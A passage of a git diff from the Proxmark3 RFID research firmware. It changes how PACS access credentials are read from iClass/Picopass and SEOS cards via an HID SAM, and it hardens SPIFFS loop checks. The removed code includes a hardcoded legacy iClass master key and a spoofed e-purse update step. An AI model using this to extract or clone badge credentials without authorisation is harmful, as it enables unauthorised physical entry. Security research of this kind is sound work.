memcpy(nr_mac, resp + 11, sizeof(nr_mac)); - // resp here hold the whole NR/MAC - // 05 9bcd475e965ee20e // CHECK (w key) - print_dbg("NR/MAC", nr_mac, sizeof(nr_mac)); - - // c00a140a000000a115a1138009 059bcd475e965ee20e 8102 0004 820201f4 9000 - - // pre calc ourself? - // uint8_t cc_nr[] = {0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0, 0, 0, 0}; - uint8_t div_key[8] = {0}; - static uint8_t legacy_aa1_key[] = {0xAE, 0xA6, 0x84, 0xA6, 0xDA, 0xB2, 0x32, 0x78}; - iclass_calc_div_key(hdr.csn, legacy_aa1_key, div_key, false); - - uint8_t mac[4] = {0}; - if (g_dbglevel == DBG_DEBUG) { - uint8_t wb[16] = {0}; - memcpy(wb, hdr.epurse, sizeof(hdr.epurse)); - memcpy(wb + sizeof(hdr.epurse), nr_mac + 1, 4); - print_dbg("cc_nr...", wb, sizeof(wb)); - doMAC_N(wb, sizeof(wb), div_key, mac); - print_dbg("Calc MAC...", mac, sizeof(mac)); - } - - // start ssp clock again... - StartCountSspClk(); - - // NOW we auth against tag - uint8_t cmd_check[9] = { ICLASS_CMD_CHECK }; - memcpy(cmd_check + 1, nr_mac + 1, 8); - - start_time = GetCountSspClk(); - iclass_send_as_reader(cmd_check, sizeof(cmd_check), &start_time, &eof_time, shallow_mod); - - // expect a 10-byte response here - res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); - if (res != PM3_SUCCESS || resp_len != 4) { - res = PM3_ECARDEXCHANGE; - goto out; - } - // store MAC - memcpy(mac, resp, sizeof(mac)); - print_dbg("Got MAC", mac, sizeof(mac)); - - // ----------------------------------------------------------------------------- - // fifth send received MAC - // A0DA026316140A00000000BD0EA00CA00A8004 311E32E9 81020000 - hexstr_to_byte_array("A0DA026316140A00000000BD0EA00CA00A8004311E32E981020000", sam_apdu, &sam_len); - memcpy(sam_apdu + 19, mac, sizeof(mac)); - - if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) { - res = PM3_ECARDEXCHANGE; - goto out; - } - print_dbg("-- 5", resp, resp_len); - - uint8_t tmp_p1[4] = {0}; - uint8_t tmp_p2[4] = {0}; - - // c161c10000a11aa118800e8702 ffffffff88ffffff 0a914eb981020004820236b09000 - - memcpy(tmp_p1, resp + 13, sizeof(tmp_p1)); - memcpy(tmp_p2, resp + 13 + 4, sizeof(tmp_p2)); - // ----------------------------------------------------------------------------- - // sixth send fake epurse update - // A0DA02631C140A00000000BD14A012A010800A 88FFFFFFFFFFFFFF9DE1 81020000 - hexstr_to_byte_array("A0DA02631C140A00000000BD14A012A010800A88FFFFFFFFFFFFFF9DE181020000", sam_apdu, &sam_len); - - memcpy(sam_apdu + 19, tmp_p2, sizeof(tmp_p1)); - memcpy(sam_apdu + 19 + 4, tmp_p1, sizeof(tmp_p1)); - AddCrc(sam_apdu + 19, 8); - - if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) { - res = PM3_ECARDEXCHANGE; - goto out; - } - print_dbg("-- 6", resp, resp_len); - // c1 61 c1 00 00 a1 10 a1 0e 80 04 0c 06 45 56 81 02 00 04 82 02 01 f4 90 00 - - // read block 6 - StartCountSspClk(); - start_time = GetCountSspClk(); - iclass_send_as_reader(resp + 11, 4, &start_time, &eof_time, shallow_mod); - - // expect a 10-byte response here - res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); - if (res != PM3_SUCCESS || resp_len != 10) { - res = PM3_ECARDEXCHANGE; - goto out; - } - print_dbg("Block 6 from Picopass", resp, resp_len); - - // ----------------------------------------------------------------------------- - // eight send block 6 config to SAM - // A0DA02631C140A00000000BD14A012A010800A 030303030003E0174323 81020000 - hexstr_to_byte_array("A0DA02631C140A00000000BD14A012A010800A030303030003E017432381020000", sam_apdu, &sam_len); - memcpy(sam_apdu + 19, resp, resp_len); - - if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) { - res = PM3_ECARDEXCHANGE; - goto out; - } - print_dbg("-- 7", resp, resp_len); - - // c161c10000a110a10e8004 0606455681020004820201f49000 - - // read the credential blocks - StartCountSspClk(); - start_time = GetCountSspClk(); - iclass_send_as_reader(resp + 11, 4, &start_time, &eof_time, shallow_mod); - - // expect a 10-byte response here - res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); - if (res != PM3_SUCCESS) { - res = PM3_ECARDEXCHANGE; - goto out; - } - print_dbg("Block 6-9 from Picopass", resp, resp_len); - - // ----------------------------------------------------------------------------- - // nine send credential blocks to SAM - // A0DA026334140A00000000BD2CA02AA0288022 030303030003E017769CB4A198E0DEC82AD4C8211F9968712BE7393CF8E71D7E804C 81020000 - hexstr_to_byte_array("A0DA026334140A00000000BD2CA02AA0288022030303030003E017769CB4A198E0DEC82AD4C8211F9968712BE7393CF8E71D7E804C81020000", sam_apdu, &sam_len); - memcpy(sam_apdu + 19, resp, resp_len); - - if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) { - res = PM3_ECARDEXCHANGE; - goto out; - } - print_dbg("-- 8", resp, resp_len); - - - // ----------------------------------------------------------------------------- - // TEN ask for PACS data - // A0DA02630C440A00000000BD04A0028200 - hexstr_to_byte_array("A0DA02630C440A00000000BD04A0028200", sam_apdu, &sam_len); - memcpy(sam_apdu + 19, resp, resp_len); - - if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) { - res = PM3_ECARDEXCHANGE; - goto out; - } - - print_dbg("-- 9 response", resp, resp_len); - if (memcmp(resp, "\xc1\x64\x00\x00\x00\xbd\x17\x8a\x15", 9) == 0) { - res = PM3_ENOPACS; - goto out; - } - - // c164000000bd098a07 030506951f9a00 9000 - uint8_t *pacs = BigBuf_calloc(resp[8]); - memcpy(pacs, resp + 9, resp[8]); - - print_dbg("-- 10 PACS data", pacs, resp[8]); - - reply_ng(CMD_HF_SAM_PICOPASS, PM3_SUCCESS, pacs, resp[8]); - res = PM3_SUCCESS; - goto off; - -out: - reply_ng(CMD_HF_SAM_PICOPASS, res, NULL, 0); - -off: - switch_off(); BigBuf_free(); return res; } -// HID SAM <-> MFC -// HID SAM <-> SEOS + +/** + * @brief Sets the card detected status for the SAM (Secure Access Module). + * + * This function informs that a card has been detected by the reader and + * initializes SAM communication with the card. + * + * @param card_select Pointer to the descriptor of the detected card. + * @return Status code indicating success or failure of the operation. + */ +static int sam_set_card_detected_picopass(const picopass_hdr_t *card_select) { + int res = PM3_SUCCESS; + if (g_dbglevel >= DBG_DEBUG) { + DbpString("start sam_set_card_detected"); + } + uint8_t *response = BigBuf_calloc(ISO7816_MAX_FRAME); + uint16_t response_len = ISO7816_MAX_FRAME; + + // a0 12 + // ad 10 + // a0 0e + // 80 02 + // 00 04 <- Picopass + // 81 08 + // 9b fc a4 00 fb ff 12 e0 <- CSN + + uint8_t payload[] = { + 0xa0, 18, // <- SAM command + 0xad, 16, // <- set detected card + 0xa0, 4 + 10, + 0x80, 2, // <- protocol + 0x00, 0x04, // <- Picopass + 0x81, 8, // <- CSN + card_select->csn[0], card_select->csn[1], card_select->csn[2], card_select->csn[3], + card_select->csn[4], card_select->csn[5], card_select->csn[6], card_select->csn[7] + }; + uint16_t payload_len = sizeof(payload); + + sam_send_payload( + 0x44, 0x0a, 0x44, + payload, + &payload_len, + response, + &response_len + ); + + // resp: + // c1 64 00 00 00 + // bd 02 <- response + // 8a 00 <- empty response (accepted) + // 90 00 + + if (response[5] != 0xbd) { + if (g_dbglevel >= DBG_ERROR) + Dbprintf("Invalid SAM response"); + goto error; + } else { + // uint8_t * sam_response_an = sam_find_asn1_node(response + 5, 0x8a); + // if(sam_response_an == NULL){ + // if (g_dbglevel >= DBG_ERROR) + // Dbprintf("Invalid SAM response"); + // goto error; + // } + goto out; + } +error: + res = PM3_ESOFT; + +out: + BigBuf_free(); + + if (g_dbglevel >= DBG_DEBUG) { + DbpString("end sam_set_card_detected"); + } + return res; +} + + +/** + * @brief Retrieves PACS data from PICOPASS card using SAM. + * + * This function is called by appmain.c + * It sends a request to the SAM to get the PACS data from the PICOPASS card. + * The PACS data is then returned to the PM3 client. + * + * @return Status code indicating success or failure of the operation. + */ +int sam_picopass_get_pacs(PacketCommandNG *c) { + const uint8_t flags = c->data.asBytes[0]; + const bool disconnectAfter = !!(flags & BITMASK(0)); + const bool skipDetect = !!(flags & BITMASK(1)); + const bool breakOnNrMac = !!(flags & BITMASK(2)); + const bool preventEpurseUpdate = !!(flags & BITMASK(3)); + const bool shallow_mod = !!(flags & BITMASK(4)); + const bool info = !!(flags & BITMASK(5)); + + uint8_t *cmd = c->data.asBytes + 1; + uint16_t cmd_len = c->length - 1; + + int res = PM3_EFAILED; + uint8_t sam_response[ISO7816_MAX_FRAME] = { 0x00 }; + uint8_t sam_response_len = 0; + + clear_trace(); + I2C_Reset_EnterMainProgram(); + + set_tracing(true); + StartTicks(); + + // step 1: ping SAM + sam_get_version(info); + + if (info) { + sam_get_serial_number(); + goto out; + } + + if (skipDetect == false) { + // step 2: get card information + picopass_hdr_t card_a_info; + uint32_t eof_time = 0; + + // implicit StartSspClk() happens here + Iso15693InitReader(); + if (select_iclass_tag(&card_a_info, false, &eof_time, shallow_mod) == false) { + goto err; + } + + switch_clock_to_ticks(); + + // step 3: SamCommand CardDetected + sam_set_card_detected_picopass(&card_a_info); + } + + // step 3: SamCommand RequestPACS, relay NFC communication + res = sam_send_request_iso15(cmd, cmd_len, sam_response, &sam_response_len, shallow_mod, breakOnNrMac, preventEpurseUpdate); + if (res != PM3_SUCCESS) { + goto err; + } + + if (g_dbglevel >= DBG_INFO) { + print_result("Response data", sam_response, sam_response_len); + } + + goto out; + +err: + res = PM3_ENOPACS; + reply_ng(CMD_HF_SAM_PICOPASS, res, NULL, 0); + goto off; + +out: + reply_ng(CMD_HF_SAM_PICOPASS, PM3_SUCCESS, sam_response, sam_response_len); + +off: + if (disconnectAfter) { + switch_off(); + } + set_tracing(false); + StopTicks(); + BigBuf_free(); + return res; +} diff --git a/armsrc/sam_picopass.h b/armsrc/sam_picopass.h index 7feef0bde..6711fd678 100644 --- a/armsrc/sam_picopass.h +++ b/armsrc/sam_picopass.h @@ -17,7 +17,9 @@ #define __SAM_PICOPASS_H #include "common.h" +#include "sam_common.h" +#include "pm3_cmd.h" -int sam_picopass_get_pacs(void); +int sam_picopass_get_pacs(PacketCommandNG *c); #endif diff --git a/armsrc/sam_seos.c b/armsrc/sam_seos.c index 00e4da45b..3f8c806e9 100644 --- a/armsrc/sam_seos.c +++ b/armsrc/sam_seos.c @@ -14,9 +14,320 @@ // See LICENSE.txt for the text of the license. //----------------------------------------------------------------------------- // Routines to support SEOS <-> SAM communication +// communication and ASN.1 messages based on https://github.com/bettse/seader/blob/main/seader.asn1 //----------------------------------------------------------------------------- #include "sam_seos.h" +#include "sam_common.h" #include "iclass.h" #include "proxmark3_arm.h" +#include "iso14443a.h" + +#include "iclass.h" +#include "crc16.h" +#include "proxmark3_arm.h" +#include "BigBuf.h" #include "cmd.h" +#include "commonutil.h" +#include "ticks.h" +#include "dbprint.h" +#include "i2c.h" +#include "protocols.h" +#include "optimized_cipher.h" +#include "fpgaloader.h" +#include "pm3_cmd.h" + +#include "cmd.h" + + +/** + * @brief Sets the card detected status for the SAM (Secure Access Module). + * + * This function informs that a card has been detected by the reader and + * initializes SAM communication with the card. + * + * @param card_select Pointer to the descriptor of the detected card. + * @return Status code indicating success or failure of the operation. + */ +static int sam_set_card_detected_seos(iso14a_card_select_t *card_select) { + int res = PM3_SUCCESS; + if (g_dbglevel >= DBG_DEBUG) { + DbpString("start sam_set_card_detected"); + } + + uint8_t *request = BigBuf_calloc(ISO7816_MAX_FRAME); + uint16_t request_len = ISO7816_MAX_FRAME; + + uint8_t *response = BigBuf_calloc(ISO7816_MAX_FRAME); + uint16_t response_len = ISO7816_MAX_FRAME; + + const uint8_t payload[] = { + 0xa0, 8, // <- SAM command + 0xad, 6, // <- set detected card + 0xa0, 4, // <- detected card details + 0x80, 2, // <- protocol + 0x00, 0x02 // <- ISO14443A + }; + + memcpy(request, payload, sizeof(payload)); + sam_append_asn1_node(request, request + 4, 0x81, card_select->uid, card_select->uidlen); + sam_append_asn1_node(request, request + 4, 0x82, card_select->atqa, 2); + sam_append_asn1_node(request, request + 4, 0x83, &card_select->sak, 1); + request_len = request[1] + 2; + + sam_send_payload( + 0x44, 0x0a, 0x44, + request, + &request_len, + response, + &response_len + ); + + // resp: + // c1 64 00 00 00 + // bd 02 <- response + // 8a 00 <- empty response (accepted) + // 90 00 + + if (response[5] != 0xbd) { + if (g_dbglevel >= DBG_ERROR) + Dbprintf("Invalid SAM response"); + goto error; + } else { + // uint8_t * sam_response_an = sam_find_asn1_node(response + 5, 0x8a); + // if(sam_response_an == NULL){ + // if (g_dbglevel >= DBG_ERROR) + // Dbprintf("Invalid SAM response"); + // goto error; + // } + goto out; + } +error: + res = PM3_ESOFT; + +out: + BigBuf_free(); + + if (g_dbglevel >= DBG_DEBUG) { + DbpString("end sam_set_card_detected"); + } + return res; +} + +/** + * @brief Sends a request to the SAM and retrieves the response. + * + * Unpacks request to the SAM and relays ISO14A traffic to the card. + * If no request data provided, sends a request to get PACS data. + * + * @param request Pointer to the buffer containing the request to be sent to the SAM. + * @param request_len Length of the request to be sent to the SAM. + * @param response Pointer to the buffer where the retreived data will be stored. + * @param response_len Pointer to the variable where the length of the retreived data will be stored. + * @return Status code indicating success or failure of the operation. + */ +static int sam_send_request_iso14a(const uint8_t *const request, const uint8_t request_len, uint8_t *response, uint8_t *response_len) { + + int res = PM3_SUCCESS; + if (g_dbglevel >= DBG_DEBUG) { + DbpString("start sam_send_request_iso14a"); + } + + uint8_t *buf1 = BigBuf_calloc(ISO7816_MAX_FRAME); + uint8_t *buf2 = BigBuf_calloc(ISO7816_MAX_FRAME); + if (buf1 == NULL || buf2 == NULL) { + res = PM3_EMALLOC; + goto out; + } + + uint8_t *sam_tx_buf = buf1; + uint16_t sam_tx_len; + + uint8_t *sam_rx_buf = buf2; + uint16_t sam_rx_len; + + uint8_t *nfc_tx_buf = buf1; + uint16_t nfc_tx_len; + + uint8_t *nfc_rx_buf = buf2; + uint16_t nfc_rx_len; + + if (request_len > 0) { + sam_tx_len = request_len; + memcpy(sam_tx_buf, request, sam_tx_len); + } else { + // send get pacs + static const uint8_t payload[] = { + 0xa0, 19, // <- SAM command + 0xBE, 17, // <- samCommandGetContentElement2 + 0x80, 1, + 0x04, // <- implicitFormatPhysicalAccessBits + 0x84, 12, + 0x2B, 0x06, 0x01, 0x04, 0x01, 0x81, 0xE4, 0x38, 0x01, 0x01, 0x02, 0x04 // <- SoRootOID + }; + + sam_tx_len = sizeof(payload); + memcpy(sam_tx_buf, payload, sam_tx_len); + } + + sam_send_payload( + 0x44, 0x0a, 0x44, + sam_tx_buf, &sam_tx_len, + sam_rx_buf, &sam_rx_len + ); + + if (sam_rx_buf[1] == 0x61) { // commands to be relayed to card starts with 0x61 + // tag <-> SAM exchange starts here + while (sam_rx_buf[1] == 0x61) { + switch_clock_to_countsspclk(); + nfc_tx_len = sam_copy_payload_sam2nfc(nfc_tx_buf, sam_rx_buf); + + nfc_rx_len = iso14_apdu(nfc_tx_buf, nfc_tx_len, false, nfc_rx_buf, ISO7816_MAX_FRAME, NULL); + // iceman: should check nfc_rx_len , if negative something went wrong... + + switch_clock_to_ticks(); + sam_tx_len = sam_copy_payload_nfc2sam(sam_tx_buf, nfc_rx_buf, nfc_rx_len - 2); + + sam_send_payload(0x14, 0x0a, 0x14, sam_tx_buf, &sam_tx_len, sam_rx_buf, &sam_rx_len); + + // last SAM->TAG + // c1 61 c1 00 00 a1 02 >>82<< 00 90 00 + if (sam_rx_buf[7] == 0x82) { + // tag <-> SAM exchange ends here + break; + } + + } + + static const uint8_t hfack[] = { + 0xbd, 0x04, 0xa0, 0x02, 0x82, 0x00 + }; + + sam_tx_len = sizeof(hfack); + memcpy(sam_tx_buf, hfack, sam_tx_len); + + sam_send_payload( + 0x14, 0x0a, 0x00, + sam_tx_buf, &sam_tx_len, + sam_rx_buf, &sam_rx_len + ); + } + + // resp for SamCommandGetContentElement: + // c1 64 00 00 00 + // bd 09 + // 8a 07 + // 03 05 <- include tag for pm3 client + // 06 85 80 6d c0 <- decoded PACS data + // 90 00 + + // resp for samCommandGetContentElement2: + // c1 64 00 00 00 + // bd 1e + // b3 1c + // a0 1a + // 80 05 + // 06 85 80 6d c0 + // 81 0e + // 2b 06 01 04 01 81 e4 38 01 01 02 04 3c ff + // 82 01 + // 07 + // 90 00 + if (request_len == 0) { + + if ( + !(sam_rx_buf[5] == 0xbd && sam_rx_buf[5 + 2] == 0x8a && sam_rx_buf[5 + 4] == 0x03) && + !(sam_rx_buf[5] == 0xbd && sam_rx_buf[5 + 2] == 0xb3 && sam_rx_buf[5 + 4] == 0xa0) + ) { + + if (g_dbglevel >= DBG_ERROR) { + Dbprintf("No PACS data in SAM response"); + } + res = PM3_ESOFT; + } + } + + *response_len = sam_rx_buf[5 + 1] + 2; + memcpy(response, sam_rx_buf + 5, *response_len); + +out: + BigBuf_free(); + return res; +} + +/** + * @brief Retrieves PACS data from SEOS card using SAM. + * + * This function is called by appmain.c + * It sends a request to the SAM to get the PACS data from the SEOS card. + * The PACS data is then returned to the PM3 client. + * + * @return Status code indicating success or failure of the operation. + */ +int sam_seos_get_pacs(PacketCommandNG *c) { + const uint8_t flags = c->data.asBytes[0]; + const bool disconnectAfter = !!(flags & BITMASK(0)); + const bool skipDetect = !!(flags & BITMASK(1)); + + uint8_t *cmd = c->data.asBytes + 1; + uint16_t cmd_len = c->length - 1; + + + int res = PM3_EFAILED; + + clear_trace(); + I2C_Reset_EnterMainProgram(); + + set_tracing(true); + StartTicks(); + + // step 1: ping SAM + sam_get_version(false); + + if (skipDetect == false) { + // step 2: get card information + iso14a_card_select_t card_a_info; + + // implicit StartSspClk() happens here + iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD); + if (iso14443a_select_card(NULL, &card_a_info, NULL, true, 0, false) == 0) { + goto err; + } + + switch_clock_to_ticks(); + + // step 3: SamCommand CardDetected + sam_set_card_detected_seos(&card_a_info); + } + + // step 3: SamCommand RequestPACS, relay NFC communication + uint8_t sam_response[ISO7816_MAX_FRAME] = { 0x00 }; + uint8_t sam_response_len = 0; + res = sam_send_request_iso14a(cmd, cmd_len, sam_response, &sam_response_len); + if (res != PM3_SUCCESS) { + goto err; + } + + if (g_dbglevel >= DBG_INFO) { + print_result("Response data", sam_response, sam_response_len); + } + + goto out; + +err: + res = PM3_ENOPACS; + reply_ng(CMD_HF_SAM_SEOS, res, NULL, 0); + goto off; + +out: + reply_ng(CMD_HF_SAM_SEOS, PM3_SUCCESS, sam_response, sam_response_len); + +off: + if (disconnectAfter) { + switch_off(); + } + set_tracing(false); + StopTicks(); + BigBuf_free(); + return res; +} diff --git a/armsrc/sam_seos.h b/armsrc/sam_seos.h index c2100f07e..8a165f255 100644 --- a/armsrc/sam_seos.h +++ b/armsrc/sam_seos.h @@ -17,5 +17,8 @@ #define __SAM_SEOS_H #include "common.h" +#include "pm3_cmd.h" + +int sam_seos_get_pacs(PacketCommandNG *c); #endif diff --git a/armsrc/spiffs.c b/armsrc/spiffs.c index 7604f6db7..0b2799c5a 100644 --- a/armsrc/spiffs.c +++ b/armsrc/spiffs.c @@ -18,7 +18,6 @@ // SPIFFS api for RDV40 Integration //----------------------------------------------------------------------------- -#define SPIFFS_CFG_PHYS_SZ (1024 * 192) #define SPIFFS_CFG_PHYS_ERASE_SZ (4 * 1024) #define SPIFFS_CFG_PHYS_ADDR (0) #define SPIFFS_CFG_LOG_PAGE_SZ (256) @@ -313,7 +312,7 @@ static int is_valid_filename(const char *filename) { */ static void copy_in_spiffs(const char *src, const char *dst) { uint32_t size = size_in_spiffs(src); - uint8_t *mem = BigBuf_malloc(size); + uint8_t *mem = BigBuf_calloc(size); read_from_spiffs(src, (uint8_t *)mem, size); write_to_spiffs(dst, (uint8_t *)mem, size); } @@ -578,19 +577,25 @@ int rdv40_spiffs_make_symlink(const char *linkdest, const char *filename, RDV40S // preexistence, avoiding a link being created if filename exists, or avoiding a file being created if // symlink exists with same name int rdv40_spiffs_read_as_filetype(const char *filename, uint8_t *dst, uint32_t size, RDV40SpiFFSSafetyLevel level) { + RDV40_SPIFFS_SAFE_FUNCTION( + RDV40SpiFFSFileType filetype = filetype_in_spiffs((char *)filename); + switch (filetype) { - case RDV40_SPIFFS_FILETYPE_REAL: + case RDV40_SPIFFS_FILETYPE_REAL: { rdv40_spiffs_read(filename, dst, size, level); break; - case RDV40_SPIFFS_FILETYPE_SYMLINK: + } + case RDV40_SPIFFS_FILETYPE_SYMLINK: { rdv40_spiffs_read_as_symlink(filename, dst, size, level); break; + } case RDV40_SPIFFS_FILETYPE_BOTH: case RDV40_SPIFFS_FILETYPE_UNKNOWN: - default: + default: { break; + } } ) } @@ -652,11 +657,14 @@ void rdv40_spiffs_safe_print_tree(void) { read_from_spiffs((char *)pe->name, (uint8_t *)linkdest, SPIFFS_OBJ_NAME_LEN); sprintf(resolvedlink, "(.lnk) --> %s", linkdest); - // Kind of stripping the .lnk extension - strtok((char *)pe->name, "."); + char *linkname = (char *)pe->name; + int len = strlen(linkname); + if (len >= 4 && strcmp(&linkname[len - 4], ".lnk") == 0) { + linkname[len - 4] = '\0'; + } } - Dbprintf("[%04x] " _YELLOW_("%5i") " B |-- %s%s", pe->obj_id, pe->size, pe->name, resolvedlink); + Dbprintf("[%04u] " _YELLOW_("%5i") " B |-- %s%s", pe->obj_id, pe->size, pe->name, resolvedlink); printed = true; } if (printed == false) { @@ -684,10 +692,10 @@ void rdv40_spiffs_safe_wipe(void) { read_from_spiffs((char *)pe->name, (uint8_t *)linkdest, SPIFFS_OBJ_NAME_LEN); remove_from_spiffs(linkdest); - Dbprintf(".lnk removed %s", pe->name); + Dbprintf("removed %s", linkdest); remove_from_spiffs((char *)pe->name); - Dbprintf("removed %s", linkdest); + Dbprintf(".lnk removed %s", pe->name); } else { remove_from_spiffs((char *)pe->name); diff --git a/armsrc/spiffs.h b/armsrc/spiffs.h index 7bbfb794b..e0b5868da 100644 --- a/armsrc/spiffs.h +++ b/armsrc/spiffs.h @@ -296,6 +296,7 @@ typedef struct spiffs_t { // file system configuration spiffs_config cfg; // number of logical blocks + // BUGBUG -- Should this be of type spiffs_block_ix? u32_t block_count; // cursor for free blocks, block index diff --git a/armsrc/spiffs_check.c b/armsrc/spiffs_check.c index c59fcabef..e082fefbb 100644 --- a/armsrc/spiffs_check.c +++ b/armsrc/spiffs_check.c @@ -535,26 +535,61 @@ static s32_t spiffs_page_consistency_check_i(spiffs *fs) { s32_t res = SPIFFS_OK; spiffs_page_ix pix_offset = 0; + // Avoid arithmetic in loop conditions (integer promotion rules can cause unintended consequences) + uint32_t block_count = fs->block_count; + uint32_t total_blocks = SPIFFS_PAGES_PER_BLOCK(fs) * block_count; + uint32_t total_blocks_plus_one_page = total_blocks + SPIFFS_PAGES_PER_BLOCK(fs); + +//#pragma region // check for overflow once, before looping + // this _should_ never happen, but prefer to see debug message / error + // rather than silently entering infinite loop. + if (block_count > ((spiffs_block_ix)(-1))) { + SPIFFS_DBG("Avoiding infinite loop, block_count "_SPIPRIbl" too large for spiffs_block_ix type\n", block_count); + SPIFFS_API_CHECK_RES(fs, SPIFFS_ERR_INTERNAL); + } + // this checks for overflow of the multiplication of block_count+1 with SPIFFS_PAGES_PER_BLOCK(fs) + if (((uint32_t)(-1)) / SPIFFS_PAGES_PER_BLOCK(fs) > (block_count + 1)) { + // checking with +1 block count to avoid overflow also in inner loop, which adds one page... + // would exceed value storable in uint32_t + SPIFFS_DBG("Overflow: pages per block %04x with block count "_SPIPRIbl" results in overflow\n", SPIFFS_PAGES_PER_BLOCK(fs), block_count); + SPIFFS_API_CHECK_RES(fs, SPIFFS_ERR_INTERNAL); + } + // because loop indices are using spiffs_page_ix type, + // that type can hold a large enough value + if (total_blocks > ((spiffs_page_ix) - 1)) { + SPIFFS_DBG("Avoiding infinite loop, total_blocks "_SPIPRIpg" too large for spiffs_page_ix type\n", total_blocks); + SPIFFS_CHECK_RES(SPIFFS_ERR_INTERNAL); + } + // because loop indices are using spiffs_page_ix type, + // that type can hold a large enough value + if (total_blocks_plus_one_page > ((spiffs_page_ix) - 1) || total_blocks_plus_one_page < total_blocks) { + SPIFFS_DBG("Avoiding infinite loop, total_blocks_plus_one_page "_SPIPRIpg" too large for spiffs_page_ix type\n", total_blocks_plus_one_page); + SPIFFS_CHECK_RES(SPIFFS_ERR_INTERNAL); + } + // RESULT: spiffs_page_ix can safely be used for loop index vs. each of + // block_count, total_blocks, and total_blocks_plus_one_page +//#pragma endregion // check for overflow once, before looping + // for each range of pages fitting into work memory - while (pix_offset < SPIFFS_PAGES_PER_BLOCK(fs) * fs->block_count) { + while (pix_offset < total_blocks) { // set this flag to abort all checks and rescan the page range u8_t restart = 0; memset(fs->work, 0, SPIFFS_CFG_LOG_PAGE_SZ(fs)); spiffs_block_ix cur_block = 0; // build consistency bitmap for id range traversing all blocks - while (!restart && cur_block < fs->block_count) { + while (!restart && cur_block < block_count) { CHECK_CB(fs, SPIFFS_CHECK_PAGE, SPIFFS_CHECK_PROGRESS, - (pix_offset * 256) / (SPIFFS_PAGES_PER_BLOCK(fs) * fs->block_count) + - ((((cur_block * pages_per_scan * 256) / (SPIFFS_PAGES_PER_BLOCK(fs) * fs->block_count))) / fs->block_count), + (pix_offset * 256) / total_blocks + + ((((cur_block * pages_per_scan * 256) / total_blocks)) / block_count), 0); // traverse each page except for lookup pages spiffs_page_ix cur_pix = SPIFFS_OBJ_LOOKUP_PAGES(fs) + SPIFFS_PAGES_PER_BLOCK(fs) * cur_block; while (!restart && cur_pix < SPIFFS_PAGES_PER_BLOCK(fs) * (cur_block + 1)) { //if ((cur_pix & 0xff) == 0) // SPIFFS_CHECK_DBG("PA: processing pix "_SPIPRIpg", block "_SPIPRIbl" of pix "_SPIPRIpg", block "_SPIPRIbl"\n", - // cur_pix, cur_block, SPIFFS_PAGES_PER_BLOCK(fs) * fs->block_count, fs->block_count); + // cur_pix, cur_block, total_blocks, block_count); // read header spiffs_page_header p_hdr; diff --git a/armsrc/spiffs_config.h b/armsrc/spiffs_config.h index f1d54a471..d0d4eb1d7 100644 --- a/armsrc/spiffs_config.h +++ b/armsrc/spiffs_config.h @@ -28,6 +28,7 @@ #include "printf.h" #include "string.h" #include "flashmem.h" +#include "pmflash.h" //#include //#include @@ -236,7 +237,7 @@ typedef uint8_t u8_t; // Instead of giving parameters in config struct, singleton build must // give parameters in defines below. #ifndef SPIFFS_CFG_PHYS_SZ -#define SPIFFS_CFG_PHYS_SZ(ignore) (1024*192) +#define SPIFFS_CFG_PHYS_SZ(ignore) ((1024 * 64 * spi_flash_pages64k) - (1024 * 4 * (FLASH_RESERVED_TRAILING_4K_SECTORS + 1))) #endif #ifndef SPIFFS_CFG_PHYS_ERASE_SZ #define SPIFFS_CFG_PHYS_ERASE_SZ(ignore) (4*1024) diff --git a/armsrc/spiffs_hydrogen.c b/armsrc/spiffs_hydrogen.c index 93c7fbe89..9f44cff13 100644 --- a/armsrc/spiffs_hydrogen.c +++ b/armsrc/spiffs_hydrogen.c @@ -52,8 +52,16 @@ s32_t SPIFFS_format(spiffs *fs) { SPIFFS_LOCK(fs); + uint32_t block_count = fs->block_count; + // this _should_ never happen, but prefer to see debug message / error + // rather than silently entering infinite loop. + if (block_count > ((spiffs_block_ix)(-1))) { + SPIFFS_DBG("Avoiding infinite loop, block_count "_SPIPRIbl" too large for spiffs_block_ix type\n", block_count); + SPIFFS_API_CHECK_RES_UNLOCK(fs, SPIFFS_ERR_INTERNAL); + } + spiffs_block_ix bix = 0; - while (bix < fs->block_count) { + while (bix < block_count) { fs->max_erase_count = 0; s32_t res = spiffs_erase_block(fs, bix); if (res != SPIFFS_OK) { diff --git a/armsrc/spiffs_nucleus.c b/armsrc/spiffs_nucleus.c index 2ebfabe04..cd6c708c4 100644 --- a/armsrc/spiffs_nucleus.c +++ b/armsrc/spiffs_nucleus.c @@ -364,6 +364,7 @@ static s32_t spiffs_obj_lu_scan_v( // Checks magic if enabled s32_t spiffs_obj_lu_scan( spiffs *fs) { + s32_t res; spiffs_block_ix bix; int entry; @@ -371,13 +372,22 @@ s32_t spiffs_obj_lu_scan( spiffs_block_ix unerased_bix = (spiffs_block_ix) - 1; #endif + uint32_t block_count = fs->block_count; + // this _should_ never happen, but prefer to see debug message / error + // rather than silently entering infinite loop. + if (block_count > ((spiffs_block_ix)(-1))) { + SPIFFS_DBG("Avoiding infinite loop, block_count "_SPIPRIbl" too large for spiffs_block_ix type\n", block_count); + SPIFFS_API_CHECK_RES(fs, SPIFFS_ERR_INTERNAL); + } + + // find out erase count // if enabled, check magic bix = 0; spiffs_obj_id erase_count_final; spiffs_obj_id erase_count_min = SPIFFS_OBJ_ID_FREE; spiffs_obj_id erase_count_max = 0; - while (bix < fs->block_count) { + while (bix < block_count) { #if SPIFFS_USE_MAGIC spiffs_obj_id magic; res = _spiffs_rd(fs, diff --git a/armsrc/thinfilm.c b/armsrc/thinfilm.c index 150189f8f..b5a06bf11 100644 --- a/armsrc/thinfilm.c +++ b/armsrc/thinfilm.c @@ -43,20 +43,20 @@ void ReadThinFilm(void) { iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); uint8_t len = 